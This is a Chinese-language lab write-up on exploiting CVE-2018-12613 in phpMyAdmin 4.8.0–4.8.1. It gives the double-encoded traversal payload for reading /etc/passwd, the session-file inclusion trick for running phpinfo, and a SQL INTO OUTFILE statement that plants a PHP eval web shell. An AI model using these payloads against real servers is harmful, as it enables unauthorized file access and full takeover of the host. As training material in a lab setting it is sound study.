实验环境
墨者学院:phpMyAdmin后台文件包含实验
实验背景
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
phpMyAdmin版本号
phpMyAdmin 4.8.0和4.8.1受到影响
漏洞索引为:CVE-2018-12613
漏洞分析
(漏洞分析)https://www.freebuf.com/column/207707.html
这篇文章对漏洞的成因分析的非常透彻
漏洞总结
在index.php中定义了对参数target过滤条件。若符合过滤条件,则target参数的value会被include。在其中一条过滤的规则中,允许先对target参数的value进行urldecode后再进行截断、判断。这里正是可利用的漏洞。
漏洞利用
注意观察URL中target的值:
db_sql.php是白名单中的文件,可以通过过滤规则。
target=db_sql.php%253f/../../../../../../etc/passwd在过滤规则中会被截断成db_sql.php,从而通过过滤。而最终include的文件是db_sql.php%3f/../../../../../../etc/passwd
[个人猜测:也许php会简化include中给定的路径,db_sql.php%3f即使是错误的目录名最终也能成功执行include语句]
总之,显而易见的是,最后include了/etc/passwd并打印了出来!
这也就成功利用了phpMyAdmin文件包含漏洞!
进一步渗透——phpinfo()获取网站服务器路径
现在已经知道如何利用该漏洞执行(include)主机上的一个文件了,我们想获取一个完整的shell,由此控制整台主机。可以通过上传一句话木马获取shell,但是我们不清楚网站的路径。我们可以先利用该漏洞执行包含phpinfo()函数的php文件,获取更多关于网站、主机的信息。
执行phpinfo():
在phpMyAdmin中执行select "<?php phpinfo();?>"语句
由于php的session机制,这条语句会写入服务器对应的session文件中
在浏览器中查找phpMyAdmin的cookie值
利用文件包含漏洞执行这个session文件,从而执行phpinfo()
注意 :
session文件的路径不一定是/tmp/sess_xxxxx....xxx
这取决于php在服务器端的配置情况 (可以在phpinfo中session.save_path中查看到)
在phpinfo()给出的信息中,Document_root给出了网站服务器的根目录为/var/www/html
上传木马获取shell:
上传木马方法有多种,本文使用mysql中into outfile "xxxxxx"的方法上传
在phpMyAdmin中执行以下语句:
select "<?php eval($_POST['hacker']);?>" into OUTFILE "/var/www/html/hacker.php"
利用菜刀、AntSword等工具就可以获取shell